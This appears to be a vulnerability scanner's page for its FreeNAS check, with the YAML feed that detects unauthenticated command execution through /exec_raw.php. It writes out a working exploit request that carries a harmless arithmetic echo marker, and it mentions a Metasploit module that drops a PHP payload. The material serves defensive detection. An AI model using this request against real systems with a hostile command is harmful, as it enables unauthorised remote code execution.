FreeNAS — 1 vulnerability check
noctis ships 1 vulnerability check for FreeNAS, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
FreeNAS exec_raw.php Unauthenticated Command Execution
| CVE | CVE-2010-20059 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | set_var, script, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/freenas/CVE-2010-20059.yaml |
FreeNAS before 0.7.2 rev.5543 exposes /exec_raw.php, which runs the `cmd` query parameter as a shell command and returns its output without any authentication. The feed proves command execution with an inert `echo NOCTIS$((A+B))` whose evaluated sum must come back in the reply.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /exec_raw.php?cmd=echo%20NOCTIS%24%28%28{{s.a}}%2B{{s.b}}%29%29 HTTP/1.0 - Checks
ex.bannerforNOCTIS[0-9]+→ finding QoD 97: FreeNAS unauthenticated command execution confirmed: GET /exec_raw.php?cmd=echo NOCTIS$((…+…)) was run by the shell without any login and r…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2010-20059
- https://www.tenable.com/security/research/tra-2010-04
- https://www.exploit-db.com/exploits/16313
- https://www.rapid7.com/db/modules/exploit/multi/http/freenas_exec_raw/
Feed source — tests/vulnerabilities/freenas/CVE-2010-20059.yaml
# FreeNAS < 0.7.2 rev.5543 — unauthenticated command execution through
# /exec_raw.php?cmd=<shell command> (Tenable TRA-2010-04, BID 44974).
#
# Ported from OpenVAS/Greenbone NVT `2010/gb_freenas_44974.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.100912, GPL-2.0-only). The NVT sends
# GET /exec_raw.php?cmd=id and matches `uid=[0-9]+.*gid=[0-9]+.*`.
#
# The bug: exec_raw.php hands the `cmd` query parameter to the shell and
# returns the raw output, without requiring a WebGUI login. The Metasploit
# module `exploit/multi/http/freenas_exec_raw` uses the same request, without
# credentials, to drop a PHP payload in the web root.
#
# Detection — benign real-exploitation proof (QoD 97):
# GET /exec_raw.php?cmd=echo NOCTIS$((A+B)) with A/B random per run. Only a
# shell evaluates the arithmetic expansion and prints NOCTIS<A+B>; the sum
# never appears in the request, so a page that reflects or strips the query
# cannot produce it. Nothing is written, read or persisted on the NAS.
#
# Better than the NASL:
# * `id` output is replaced by a per-run evaluated marker: no FP on a page
# that echoes or documents a `uid=0(root) gid=0(wheel)` string, and the
# proof is unique to this scan.
# * The NASL only runs once FreeNAS has been fingerprinted (CPE gate); the
# marker proof needs no fingerprint, so a FreeNAS whose detection failed
# (custom title, reverse proxy) is still covered.
#
# The request goes through `tcp_connect` so `%24%28%28` / `%2B` reach the
# server byte-for-byte (no client-side URL normalisation).
uid: 0a7a436f-4a83-4ed0-a10b-08d60e445a56
name: "FreeNAS exec_raw.php Unauthenticated Command Execution (CVE-2010-20059)"
description: |
FreeNAS before 0.7.2 rev.5543 exposes /exec_raw.php, which runs the `cmd`
query parameter as a shell command and returns its output without any
authentication. The feed proves command execution with an inert
`echo NOCTIS$((A+B))` whose evaluated sum must come back in the reply.
cves: [CVE-2010-20059]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags: [freenas, nas, command-injection, rce, unauthenticated, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2010-20059"
- "https://www.tenable.com/security/research/tra-2010-04"
- "https://www.exploit-db.com/exploits/16313"
- "https://www.rapid7.com/db/modules/exploit/multi/http/freenas_exec_raw/"
steps:
# ── Pre-init everything a later condition reads ────────────────────────────
- id: init-ex
action: set_var
var_name: ex
var_value: {connected: false, banner: null}
# ── Per-run operands and the evaluated marker we expect back ───────────────
- id: gen
action: script
store_as: s
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
#{
a: a.to_string(),
b: b.to_string(),
marker: "NOCTIS" + (a + b).to_string()
}
# ── Exploit: the NASL request with a benign command ────────────────────────
# %20 = space %24%28%28 = $(( %2B = + %29%29 = ))
- id: exec
action: tcp_connect
port: "{{port}}"
timeout_secs: 10
send: "GET /exec_raw.php?cmd=echo%20NOCTIS%24%28%28{{s.a}}%2B{{s.b}}%29%29 HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
store_as: ex
# The evaluated sum must be in the reply; a raw reflection keeps $((A+B)).
- id: confirm-rce
action: match
source: ex.banner
pattern: "NOCTIS[0-9]+"
condition: "ex.connected == true && type_of(ex.banner) == \"string\" && stridx(ex.banner, s.marker) >= 0"
on_match:
finding:
confidence_delta: 0.65
qod: 97
evidence: "FreeNAS unauthenticated command execution confirmed: GET /exec_raw.php?cmd=echo NOCTIS$(({{s.a}}+{{s.b}})) was run by the shell without any login and returned {{s.marker}}"